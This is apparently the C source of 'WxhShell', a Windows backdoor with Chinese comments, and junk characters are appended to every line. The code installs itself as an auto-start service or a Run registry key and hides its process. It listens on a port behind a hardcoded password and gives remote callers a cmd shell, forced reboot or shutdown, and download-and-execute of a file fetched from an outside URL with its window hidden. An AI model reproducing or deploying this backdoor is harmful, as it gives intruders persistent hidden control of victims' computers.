    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); @C%6Wo4l3  
    if(Boot(SHUTDOWN)) ST2:&xH(  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); zf>*\pZE  
    else { ;;6$d{  
    closesocket(wsh); Lt ^*L% x  
    ExitThread(0); &(lQgi+^!  
    } F ^Bk  @  
    break; v: veKA  
    } yf7|/M  
  // 获取shell Mh{244|o[  
  case 's': { _PcF/Gyk  
    CmdShell(wsh); HX)]@qL  
    closesocket(wsh); IXG@$O?y/  
    ExitThread(0); N0%q 66]1  
    break; 4/%Y@Z5  
  } nRvaCAt^  
  // 退出  yj=OR|v  
  case 'x': { \d*ts(/a*  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); \~g,;>%7Y  
    CloseIt(wsh); 'iTY?  
    break; c8Q}m(bhWI  
    } Xmi~fie  
  // 离开 w3z'ZCcr;"  
  case 'q': { ':3[?d1Es  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); G<* Iw>ep  
    closesocket(wsh); C1+f\A|9FP  
    WSACleanup(); .9N7`  
    exit(1); #uF`|M$u  
    break; ~KRS0 ^  
        } KK6fRtKv>q  
  } cg o  
  } &>B"/z  
8Ihl}aguW  
  // 提示信息 jZC[_p;  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); IJt'[&D  
} +xvn n  
  } ;6~5FTmV  
Eh)VT{vp  
  return; l4dG=x}M]  
} Oi zj |'  
z1]nC]2  
// shell模块句柄 ;rF[y7\  
int CmdShell(SOCKET sock) r<4j;"lQK  
{ CBoCT3@~  
STARTUPINFO si; PXqG;o*Q*?  
ZeroMemory(&si,sizeof(si)); jFJ}sX9]  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; <_ENC>NP  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; shw"TF>?zG  
PROCESS_INFORMATION ProcessInfo; H\qZu%F'  
char cmdline[]="cmd"; G|[{\  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); !/!ga)Y  
  return 0; _6V1oe2  
} iEZ+Znon  
m[KmXPFht1  
// 自身启动模式 JXMH7  
int StartFromService(void) lx=tOfj8  
{ ]%y>l j?Y  
typedef struct 46pR!k  
{ 7~F~'V  
  DWORD ExitStatus; &x[7?Y L  
  DWORD PebBaseAddress; 0#DEh|?  
  DWORD AffinityMask; nJGs,~"  
  DWORD BasePriority; X9NP,6  
  ULONG UniqueProcessId; e0h[(3bXs$  
  ULONG InheritedFromUniqueProcessId; +'-.c"  
}   PROCESS_BASIC_INFORMATION; @"MQ6u G>  
[8^q3o7n  
PROCNTQSIP NtQueryInformationProcess; hl7 z1h  
M2N8?Ycv3  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; k=[s%O 6H  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; m./PRV1$x  
amdgb,vh  
  HANDLE             hProcess; } c k <R  
  PROCESS_BASIC_INFORMATION pbi; KbtV>  
dzBP<Xyh  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); &b`W<PAc?4  
  if(NULL == hInst ) return 0; D4,>g )B  
gFKJbjT|  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); M:{Aq&.  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); S,nELV~!  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); )-emSV0zE  
]/H6%"CTa  
  if (!NtQueryInformationProcess) return 0; 2jC`'8  
:>2wVN&\c  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); !& >`  
  if(!hProcess) return 0;  u\L}B!  
^a_a%ws  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; Z i.' V  
BjsT 9?6W/  
  CloseHandle(hProcess); qSB&Q0T  
J (?qk  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); * dw.Ug  
if(hProcess==NULL) return 0; bY=[ USgps  
C[G+SA1&W  
HMODULE hMod; |Rz.Pt6  
char procName[255]; DegbjqZ#  
unsigned long cbNeeded; / De~K+w7o  
.= ?*Wp  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); cO*g4VL"[  
N UX |  
  CloseHandle(hProcess); 3>-h- cpMX  
#$- E5R;x  
if(strstr(procName,"services")) return 1; // 以服务启动 - ~|Gwr"  
%&yPl{  
  return 0; // 注册表启动 )\=xPfs  
} {V2"Pym?  
*H/3xPh,*  
// 主模块 6<<"9mxK  
int StartWxhshell(LPSTR lpCmdLine) (pd$?vRy  
{ &<]f-  
  SOCKET wsl; [i /!ovcY  
BOOL val=TRUE; H{vKk  
  int port=0; lQHF=Jex  
  struct sockaddr_in door; LWT\1#  
L|T?,^  
  if(wscfg.ws_autoins) Install(); Rbf6/C  
, :#bo]3  
port=atoi(lpCmdLine); 32<D9_  
Qk:Lo*!  
if(port<=0) port=wscfg.ws_port; mGj)Zrx>  
5M~{MdF|.  
  WSADATA data; `a4&_`E,p  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; PY.K_(D  
hOU H1m.  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   'UIFP#GtFO  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); *G> x07S)~  
  door.sin_family = AF_INET; #@$80eFq  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); fw jo?  
  door.sin_port = htons(port); ,UMr_ e{|  
I[Lg0H8  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { /;#kV]nF  
closesocket(wsl); &,k!,<IF  
return 1; M`H#Qo5/  
} *y?HaU  
#`*uX6C  
  if(listen(wsl,2) == INVALID_SOCKET) { j#n ]q{s4  
closesocket(wsl); {,Q )D$i  
return 1; phuiLW{&  
} ORs :S$Nt$  
  Wxhshell(wsl); A _zCSRF,  
  WSACleanup(); BB/wL_=:  
i D IY|  
return 0; tF`L]1r>  
F,wB6Cw  
} 'F/oR/4,  
h#hr'3bI1  
// 以NT服务方式启动 _xaum  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) {r&mNbz  
{ 6:#o0OeBP  
DWORD   status = 0; K=[7<b,:3  
  DWORD   specificError = 0xfffffff; CUI3^;&S  
m4hkV>$d  
  serviceStatus.dwServiceType     = SERVICE_WIN32; 6(bN*.  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; Fvl\.  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 8(% F{&<;  
  serviceStatus.dwWin32ExitCode     = 0; G;G*!nlWf  
  serviceStatus.dwServiceSpecificExitCode = 0; )t|:_Z  
  serviceStatus.dwCheckPoint       = 0; JX=rL6Y@:;  
  serviceStatus.dwWaitHint       = 0; 0+FPAqX  
.n]"vpWm[  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); j#5a&Z  
  if (hServiceStatusHandle==0) return; d&FXndC4F  
BV~J*e  
status = GetLastError(); $vegU]-R  
  if (status!=NO_ERROR) sN[}B{+  
{ Ay?<~)H  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; "/Qz?1>l+  
    serviceStatus.dwCheckPoint       = 0; M%S7cIX ]F  
    serviceStatus.dwWaitHint       = 0; ?'MkaG0g  
    serviceStatus.dwWin32ExitCode     = status; [gmov)\c  
    serviceStatus.dwServiceSpecificExitCode = specificError; -qIi.]/f"9  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); f CU]  
    return; *#Cx-J  
  } oe|#!SM(  
`q*[fd1u.  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; =OH X5:Z  
  serviceStatus.dwCheckPoint       = 0; 5~[7|Y  
  serviceStatus.dwWaitHint       = 0; U#[&(  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); Te+(7 Z  
} ka9@7IFM  
@Lnv  
// 处理NT服务事件,比如:启动、停止 HoGYgye=  
VOID WINAPI NTServiceHandler(DWORD fdwControl) MYS`@%ZV#k  
{ X9m^i2tk  
switch(fdwControl) og}Ri!^  
{ 'Cc~|gOgD  
case SERVICE_CONTROL_STOP: ]/=RABi  
  serviceStatus.dwWin32ExitCode = 0; S0^a)#D &  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; 7S a9  
  serviceStatus.dwCheckPoint   = 0; C t,p  
  serviceStatus.dwWaitHint     = 0; ^^N|:80  
  { Jl~ *@0(  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ( eTrqI`  
  } WywS1viD  
  return; Dp([r  
case SERVICE_CONTROL_PAUSE: %F 2h C x  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; }(nT(9|  
  break; h3?>jE=H  
case SERVICE_CONTROL_CONTINUE: fN&\8SPE  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; /+Z*)q+SbT  
  break; &u>dKf)5  
case SERVICE_CONTROL_INTERROGATE: a2Ak?W1  
  break; -l= 4{^pK  
}; xe!bfzU  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 8fXiadP#  
} }=-0 DSLVj  
'=_(fa,  
// 标准应用程序主函数 yvYMk(LSF  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) f% pT-#  
{ *dw.=a9  
e|]e\Or>  
// 获取操作系统版本 XGl2rX&  
OsIsNt=GetOsVer(); W+ S~__K  
GetModuleFileName(NULL,ExeFile,MAX_PATH); p) 8S]p]  
s;VW %e  
  // 从命令行安装 r2=@1=?8  
  if(strpbrk(lpCmdLine,"iI")) Install(); )5}<@Ql  
V`I4"}M1  
  // 下载执行文件 \d@5*q  
if(wscfg.ws_downexe) { BHY8G06  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) VQ9A/DH/  
  WinExec(wscfg.ws_filenam,SW_HIDE); FzInIif  
} *fg2bz<~[B  
bk0>f   
if(!OsIsNt) { pa>C}jk}6  
// 如果时win9x,隐藏进程并且设置为注册表启动 53i]Q;k[  
HideProc(); h:aa^a~y i  
StartWxhshell(lpCmdLine); b@Oq}^a&o  
} E5ce=$o  
else m!<HZvq?vf  
  if(StartFromService()) N'`X:7fN  
  // 以服务方式启动 'ITq\1z  
  StartServiceCtrlDispatcher(DispatchTable); Q~,Mzt"}W  
else P<PZ4hNx  
  // 普通方式启动 p'R<yB)V  
  StartWxhshell(lpCmdLine); (4YLUN&1O$  
|+nmOi,z  
return 0; N"70P/  
} nTy]sPn  
42dv3bE"  
_**Nlp*%  
8 lggGt  
=========================================== }S> 4.8  
[Hh-F#|R  
| b'Ut)E  
nR_Z rm  
:G _  
q'mh*  
" 2R/|/>T v  
F1Z'tjj+  
#include <stdio.h> LF7- ?? '  
#include <string.h> oZBD.s  
#include <windows.h> ^ij0<*ca9  
#include <winsock2.h> bZ`v1d (r  
#include <winsvc.h> @:>"VP<(  
#include <urlmon.h> @]Cg5QW>T  
cN,*QN  
#pragma comment (lib, "Ws2_32.lib") }3#\vn0gT  
#pragma comment (lib, "urlmon.lib") 4XpWDfa.}  
xC`!uPk/pL  
#define MAX_USER   100 // 最大客户端连接数 ,L<JG  
#define BUF_SOCK   200 // sock buffer ]+D@E2E  
#define KEY_BUFF   255 // 输入 buffer rB[J*5v  
!Z$d<~Mq q  
#define REBOOT     0   // 重启 JEto_&8,C  
#define SHUTDOWN   1   // 关机 -UhpPw 6  
QH'*MY  
#define DEF_PORT   5000 // 监听端口 :&BPKqKp  
@c|=onx5  
#define REG_LEN     16   // 注册表键长度 2) X#&IE  
#define SVC_LEN     80   // NT服务名长度 .6wPpLG?{  
\g}]u(zg%  
// 从dll定义API yv,FzF}7  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); \=%lH= yS  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); z!}E2j_9P  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); 6 U.Jaai:  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); a4*v'Xc5  
Q"&Mr+  
// wxhshell配置信息 *'Yy@T8M  
struct WSCFG { R"t#dG]1t  
  int ws_port;         // 监听端口 .QvD603%5  
  char ws_passstr[REG_LEN]; // 口令 KF rsXf  
  int ws_autoins;       // 安装标记, 1=yes 0=no $)M3fZ$#  
  char ws_regname[REG_LEN]; // 注册表键名 )iN;1>  
  char ws_svcname[REG_LEN]; // 服务名 f}-'67*Y  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 <i~xJi%1#  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 9X*N k~}Y  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 hr vTFJ  
int ws_downexe;       // 下载执行标记, 1=yes 0=no &=@{`2&  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" z D{]3pg  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 4(L mjue]?  
si0}b~t  
}; :60v bO  
7#LIGr  
// default Wxhshell configuration x3O%W?5  
struct WSCFG wscfg={DEF_PORT, !^arWH[od  
    "xuhuanlingzhe", rS1gFGrj  
    1, 63fYX"  
    "Wxhshell", jq~`rE h9  
    "Wxhshell", Rta}*  
            "WxhShell Service", /v!yI$xc  
    "Wrsky Windows CmdShell Service", *)K 5<}V  
    "Please Input Your Password: ", Sz0PZtJ  
  1, b <W\#3~G  
  "http://www.wrsky.com/wxhshell.exe", JQQyl:=  
  "Wxhshell.exe" F.vRs|fk  
    }; 3&-rOc  
^to*ET{0  
// 消息定义模块 PxKBcx4o`  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; !f~a3 {;j  
char *msg_ws_prompt="\n\r? for help\n\r#>"; x1gS^9MqCB  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; lSX1|,B7:]  
char *msg_ws_ext="\n\rExit."; L.;b( bFe  
char *msg_ws_end="\n\rQuit."; "tyRnUP  
char *msg_ws_boot="\n\rReboot..."; 45yP {+/-Q  
char *msg_ws_poff="\n\rShutdown..."; B}"R@;N  
char *msg_ws_down="\n\rSave to "; i%i~qTN  
opa/+V3E4  
char *msg_ws_err="\n\rErr!"; yy3rh(ea  
char *msg_ws_ok="\n\rOK!"; I!/32* s1t  
YmljHQP  
char ExeFile[MAX_PATH]; O nXo0PV/(  
int nUser = 0; o#m31* o  
HANDLE handles[MAX_USER]; )LP'4*  
int OsIsNt; j7!u;K^c  
A]bb*a1  
SERVICE_STATUS       serviceStatus; do" m=y  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; vj?{={Y  
jF6_yw  
// 函数声明 Jn hdZa  
int Install(void); {~apY,3  
int Uninstall(void); r5j$FwY  
int DownloadFile(char *sURL, SOCKET wsh); vobC/m  
int Boot(int flag); %FjUtB  
void HideProc(void); *BKD5EwS  
int GetOsVer(void); {K|?i9K  
int Wxhshell(SOCKET wsl); N'b GL%  
void TalkWithClient(void *cs); 1H-Wk  
int CmdShell(SOCKET sock); MHwfJ{"zo  
int StartFromService(void);  2s}S9  
int StartWxhshell(LPSTR lpCmdLine); bm#5bhX\|  
R}oN8  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); ILuQ.VhBVN  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); (;fJXgj.  
7-S?RU]g  
// 数据结构和表定义 dDS{XR  
SERVICE_TABLE_ENTRY DispatchTable[] = Xqf\}p n  
{ ANm@$xO*  
{wscfg.ws_svcname, NTServiceMain}, u|<?m A!  
{NULL, NULL} tw4,gW  
}; 9a_P 9s3w  
Yc#Uu8f-  
// 自我安装 9R=avfI  
int Install(void) ZA=J`- >k  
{ Luao?;|U  
  char svExeFile[MAX_PATH]; :hICe+2ca  
  HKEY key; [Qs`@u<%  
  strcpy(svExeFile,ExeFile); KS_+R@3Z  
&N.pW=%,N  
// 如果是win9x系统,修改注册表设为自启动 a?gF;AYk  
if(!OsIsNt) { ~gX1n9_n  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { uyX % &r  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ?8 }pZ_j  
  RegCloseKey(key); aR2N,<Cp5  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { x}2nn)fdZ  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); SkDr4kds  
  RegCloseKey(key); @!iS`u  
  return 0; (MXy\b<  
    } Oti;wf G7o  
  } W B:0}b0Gu  
} jr6 0;oK+  
else { W'6DwV|  
!oyo_h  
// 如果是NT以上系统,安装为系统服务 0YoKSo  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); v7(7WfqP  
if (schSCManager!=0) ;Tbo \Wp9  
{ Zv yZ5UA  
  SC_HANDLE schService = CreateService B~:yM1f@u4  
  ( 4j3q69TZR  
  schSCManager, 'bbw0aB4  
  wscfg.ws_svcname, sm18u-  
  wscfg.ws_svcdisp, jwwRejNV  
  SERVICE_ALL_ACCESS, 8R)K$J$Hm  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , 2D!jVr!  
  SERVICE_AUTO_START, 1XiA  
  SERVICE_ERROR_NORMAL, ]v<8 l4p;  
  svExeFile, hT%fM3|,e  
  NULL, 8i;1JA  
  NULL, &l cfX\y  
  NULL, vapC5,W"2-  
  NULL, :uYZ1O  
  NULL .5 E)dU  
  ); ue8 @=}  
  if (schService!=0) )Q1aAS3  
  { 1tbA-+  
  CloseServiceHandle(schService); q&=z^Ln!G  
  CloseServiceHandle(schSCManager); pCkMm)2g!  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 4$^mLD$>  
  strcat(svExeFile,wscfg.ws_svcname); U_VP\ 03  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { F,vkk{Z>  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); @*rMMy 4  
  RegCloseKey(key); ?Nt(sZ-  
  return 0; pnu?=.O  
    } qz- tXc ,  
  } !=S?*E +j)  
  CloseServiceHandle(schSCManager); o"Xv)#g&  
} ^m7y=CJM  
} tHzgZo Bz  
0$Tb5+H5  
return 1; QP~["%}T  
} bEF2- FO  
Fepsa;\sU  
// 自我卸载 W9l ](Ow  
int Uninstall(void) ;tQc{8O6L  
{ pYcs4f!?p  
  HKEY key; #j7&2L  
[%^0L~:  
if(!OsIsNt) { QE/kR!r  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { /- Gq`9Z  
  RegDeleteValue(key,wscfg.ws_regname); ]$#bNt/p  
  RegCloseKey(key); M*k,M=sX  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { "(jD*\8x  
  RegDeleteValue(key,wscfg.ws_regname); T=/c0#Q|q  
  RegCloseKey(key); 0;x&\x7K  
  return 0; W7C1\'T  
  } N!.o`4 "z  
} _#M4zO7  
} .S:(O+#Gm  
else { C'@I!m._i  
`(j~b=PP  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); b81^756  
if (schSCManager!=0) `[$>S  
{ ty5# a  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); :Xy51p`.;]  
  if (schService!=0) NcbW"Qv3  
  { Z>UM gu3c  
  if(DeleteService(schService)!=0) { (6/aHSXI  
  CloseServiceHandle(schService); C_3,|Zq?|  
  CloseServiceHandle(schSCManager); 3` IR ^  
  return 0; !hJ!ck]M  
  } 7/M[T\c  
  CloseServiceHandle(schService); ;a|%W4"  
  } 0++RxYFCL  
  CloseServiceHandle(schSCManager); ` C d!  
} ) YB'W_  
} j#3IF *"  
q-^{2.ftcx  
return 1; !]?kvf-3e  
}  !'!\>x$  
'hu'}F{  
// 从指定url下载文件 CE{2\0Q  
int DownloadFile(char *sURL, SOCKET wsh) Cn=#oE8(A  
{ a`:F07r  
  HRESULT hr; xrXfZ>$5bM  
char seps[]= "/"; A1;'S<a  
char *token; 7%$3`4i`O  
char *file; <FR!x#!   
char myURL[MAX_PATH]; o5Rv xGN  
char myFILE[MAX_PATH]; x?rd9c  
/ \qzTo  
strcpy(myURL,sURL); e{5O>RO  
  token=strtok(myURL,seps); V(;T{HW&  
  while(token!=NULL) IJ5'n  
  { 8 # BR\  
    file=token; D?dS/agA  
  token=strtok(NULL,seps); Lo}T%0"G  
  } mb`h  
"*HEXru#B  
GetCurrentDirectory(MAX_PATH,myFILE); ^:$ShbX"P  
strcat(myFILE, "\\"); cxQ %tL+S&  
strcat(myFILE, file); IRR b^Q6  
  send(wsh,myFILE,strlen(myFILE),0); @-0mE_$[  
send(wsh,"...",3,0); OI0@lSAo<  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); 'b"7Lzp2  
  if(hr==S_OK) w('}QB`xad  
return 0; v6wg,,T  
else >B``+ Z^2  
return 1; `*0VN(gf'  
UdcV<#  
} fg ,vTpBk  
<}.!G>X  
// 系统电源模块 45BpZ~-  
int Boot(int flag) +_ 8BJ  
{ {|0YcL  
  HANDLE hToken; 9*~";{O.Oa  
  TOKEN_PRIVILEGES tkp; *yHz#u'  
R4b!?}d  
  if(OsIsNt) { jq#`cay!  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); DGTE#?'(  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 7'8G,|&:*  
    tkp.PrivilegeCount = 1; 74NL)|M  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; PYNY1 |3  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); vo:h"ti  
if(flag==REBOOT) { *6][[)(  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) <Vt"%C  
  return 0; Myn51pczl  
} Jw;G_dQ[  
else { eC<?g  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) S&&Q U #  
  return 0; kZ6:= l  
} iZ/iMDfC  
  } #y"LFoJn  
  else { UCj<FN `  
if(flag==REBOOT) { YuHXm3[  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) :}q)]W  
  return 0; M<= e~';H  
} z[vu- f9  
else { *Jt+-ZM  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) LEN=pqGJ.  
  return 0; Ps(oxj7  
} hW~UJ/$  
} Hj1?c,mo4  
NU'2QSU8  
return 1; \R-'<kN.*  
} JSylQ201  
{md5G$* %  
// win9x进程隐藏模块 MLi aCG;  
void HideProc(void) hhWy-fP#  
{ \QG2V$  
}G^'y8U  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); m$hkmD|  
  if ( hKernel != NULL ) '~7zeZ'  
  { -2u)orWP  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); h3GUFiZ.  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); zmu+un"\j  
    FreeLibrary(hKernel); ^U*1_|Jh  
  } (7&b)"y  
xh#pw2v7V  
return; p/l">d]+  
} >[nR$8_J-l  
g-ZXj4Ph!  
// 获取操作系统版本 lu+KfKa  
int GetOsVer(void) RU/SJ1wM"  
{ I#]pk!  
  OSVERSIONINFO winfo; 6f t6;*,  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); >Y\?v-^~;  
  GetVersionEx(&winfo); OwNo$b]h`  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) @KHY8y7  
  return 1; o!&+ _BKw  
  else Vo.~1^  
  return 0; fo~*Bp()-E  
} WCk. K  
+!:=Mm  
// 客户端句柄模块 ^qVBgBPb  
int Wxhshell(SOCKET wsl) /C <p^#g9.  
{ &U`ug"/k  
  SOCKET wsh; 6]?W&r|0I  
  struct sockaddr_in client; KW ZEi?  
  DWORD myID; jS8B:>  
[#G*GAa6*  
  while(nUser<MAX_USER) )%kiM<})  
{ d0Ubt  
  int nSize=sizeof(client); M} ri>o  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); d.Ccc/1-  
  if(wsh==INVALID_SOCKET) return 1; Wi,)a{  
G^.tAO5:f  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); s +qodb+  
if(handles[nUser]==0) 0r i  
  closesocket(wsh); 8<ev5af  
else SXE@\Afj  
  nUser++; 8X278^ #  
  } q \fyp\z  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); =[Z3]#h  
G;[O~N3n.  
  return 0; ~6O~Fth  
} R[* n3 wB  
!g)rp`?  
// 关闭 socket , )TnIByM  
void CloseIt(SOCKET wsh) h qhX  
{ 2 J3/Eu  
closesocket(wsh); i]4nYYS  
nUser--; ~J5B?@2hK  
ExitThread(0); H;q[$EUNb  
} ]n"U])pJd  
( *K)D$y  
// 客户端请求句柄 b5KK0Jjk  
void TalkWithClient(void *cs) -II03 S1  
{ l[%=S!  
Lp4F1H2t-  
  SOCKET wsh=(SOCKET)cs; 1{a4zGE?[  
  char pwd[SVC_LEN]; p8?"}  
  char cmd[KEY_BUFF]; nqTOAL9FF  
char chr[1]; z[O*f#t  
int i,j; vCK+v r!  
KDV.ZSF7  
  while (nUser < MAX_USER) { a0PU&o1EF  
""_G4{  
if(wscfg.ws_passstr) { .yD 6$!6  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); l]Ym)QP  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 5j0 Ib>\  
  //ZeroMemory(pwd,KEY_BUFF); Fq o h!F  
      i=0; Gxxz4    
  while(i<SVC_LEN) { |YV> #l  
e"{"g[b/7  
  // 设置超时 >p;&AaXkoG  
  fd_set FdRead; u86@zlzd  
  struct timeval TimeOut; 28c6~*Te #  
  FD_ZERO(&FdRead); I36%oA  
  FD_SET(wsh,&FdRead); O?"uM>r  
  TimeOut.tv_sec=8; _V0%JE'  
  TimeOut.tv_usec=0; D:z_FNN  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); R?tjobk!  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); + 660/ e8N  
UlNV%34"  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); \IudS{ .?;  
  pwd=chr[0]; M`@ASL:u  
  if(chr[0]==0xd || chr[0]==0xa) { @0C[o9  
  pwd=0; CPeu="[  
  break; cD)9EFo  
  } H5 :,hrZY  
  i++; WU@_aw[  
    } c5 AaUza  
Q"c/]Sk)  
  // 如果是非法用户,关闭 socket Z5*(xony0  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); N[fwd=$\#  
} xirq$sEl  
L<B)BEE.  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); ^Pu:&:ki  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); $d4&H/u^  
^K_FGE0ec  
while(1) { h;y}g/HZ  
VZ">vIRyi|  
  ZeroMemory(cmd,KEY_BUFF); 'iOa j0f  
@$;8k }  
      // 自动支持客户端 telnet标准   s16, *;Z  
  j=0; 6U$e;cr6  
  while(j<KEY_BUFF) { \Y8 sIs  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ]>*VEe}hJ  
  cmd[j]=chr[0]; piuM#+Y\'S  
  if(chr[0]==0xa || chr[0]==0xd) { H!OX1F  
  cmd[j]=0; Iu5 9W >  
  break; 8t) g fSG  
  } "9"  
  j++; %B1)mA;  
    } "M\rO!f:  
_O11SiP]  
  // 下载文件 d<HO~+9  
  if(strstr(cmd,"http://")) { jAv3qMQA  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); HvKdV`bz  
  if(DownloadFile(cmd,wsh)) .n4{xQo,EJ  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); wPu.hVz  
  else mO(Y>|mm  
